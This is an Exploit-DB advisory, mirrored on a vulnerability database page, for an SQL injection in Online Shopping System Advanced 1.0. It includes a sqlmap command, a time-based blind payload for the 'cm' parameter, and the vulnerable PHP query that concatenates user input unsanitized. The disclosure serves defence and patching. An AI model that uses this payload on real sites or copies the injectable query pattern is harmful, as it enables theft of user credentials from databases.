Lucene search
+L

Online Shopping System Advanced - SQL Injection (SQLi)

🗓️ 26 Feb 2024 00:00:00Reported by Furkan GedikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 364 Views

Online Shopping System Advanced - Sql Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-58316
12 Dec 202521:18
–circl
cnnvd
CNNVD
Online Shopping System Advanced SQL Injection Vulnerabilities
12 Dec 202500:00
–cnnvd
cve
CVE
CVE-2024-58316
12 Dec 202520:14
–cve
cvelist
Cvelist
CVE-2024-58316 Online Shopping System Advanced 1.0 SQL Injection via Payment Success Parameter
12 Dec 202520:14
–cvelist
euvd
EUVD
EUVD-2024-55348
12 Dec 202520:14
–euvd
nvd
NVD
CVE-2024-58316
12 Dec 202521:15
–nvd
osv_cve
osv_cve
CVE-2024-58316
12 Dec 202521:15
–osv_cve
ptsecurity
Positive Technologies
PT-2025-50975
12 Dec 202500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2024-58316: Improper Neutralization of Special Elements used in an SQL Command
12 Dec 202500:00
–rapid7
redhatcve
RedhatCVE
CVE-2024-58316
13 Dec 202520:41
–redhatcve
Rows per page
# Exploit Title: Online Shopping System Advanced

# Date: 07.12.2023

# Exploit Author: Furkan Gedik

# Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Software Link: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Version: 1.0

# Tested on: [Kali Linux 2020.3]







# Description

Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database.



# PoC



[+] sqlmap output

sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080



Parameter: cm (GET)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV



# Vulnerability

https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22

[+] payment_success.php

if (isset($_GET["st"])) {


 # code...

 $trx_id = $_GET["tx"];

  $p_st = $_GET["st"];

  $amt = $_GET["amt"];

  $cc = $_GET["cc"];

  $cm_user_id = $_GET["cm"];

  $c_amt = $_COOKIE["ta"];

 if ($p_st == "Completed") {


  include_once("db.php");

  $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.17.5
CVSS 48.7
EPSS0.01045
SSVC
364